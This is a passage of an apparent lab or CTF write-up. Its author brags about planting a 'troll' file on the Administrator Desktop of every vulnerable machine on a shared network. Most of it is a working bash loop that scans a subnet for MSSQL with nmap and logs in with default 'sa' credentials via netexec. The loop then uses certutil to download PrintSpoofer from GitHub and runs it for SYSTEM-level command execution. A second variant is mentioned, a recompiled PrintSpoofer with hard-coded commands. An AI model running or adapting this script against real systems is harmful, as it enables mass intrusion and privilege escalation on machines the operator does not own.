

I also modified PrintSpoofer.exe source-code and recompiled it to execute hard-coded commands.

And yeah that was me xD that created the file in the Administrator's Desktop along side the `root.txt` in all machines vulnerable on the `network`

```
HELLO_MY_FRIEND_JustTrollinYouByDanilo.txt
```

Curious how I did that? xD

well, I just wrote a `netexec` command first, then wrap it in a `for` loop that gets feed IPs from `nmap`

Bellow are 2 methods:

- Standard PrintSpoofer.exe creating a file
- Modified PrintSpoofer.exe with Automatic Command execution for the troll file

```
#!/bin/bash
```

```
# troll people by creating a file in the C:\Users\Administrator\Desktop
```

```
# nmap on the subnet, filter by IPs only
```

```
sudo nmap --open -p1433 10.10.0.0/24 | grep 10.10.0 | awk '{print $NF}' >  
ipMSSQL.txt &&
```

```
for IP in $(cat ipMSSQL.txt); do
```

```
    netexec mssql $IP -u 'sa' -p 'Pass@123' -x 'certutil.exe -urlcache -  
split -f https://github.com/k4sth4/PrintSpoofer/raw/main/PrintSpoofer.exe  
C:\Windows\tasks\Printspoofer.exe && C:\Windows\tasks\Printspoofer.exe -c  
"powershell.exe -c echo >  
C:\Users\Administrator\Desktop\HELLO_MY_FRIEND_JustTrollinYouByDanilo.txt"  
--local-auth
```

```
    # If we compile the PrintSpoofer with the custom OS command...
```

```
    # netexec mssql $IP -u 'sa' -p 'Pass@123' -x 'certutil.exe -urlcache -  
split -f https://github.com/k4sth4/PrintSpoofer/raw/main/PrintSpoofer.exe  
C:\Windows\tasks\PrintSpooferTROLLL.exe &&  
C:\Windows\tasks\PrintSpooferTROLLL.exe'
```

```
done
```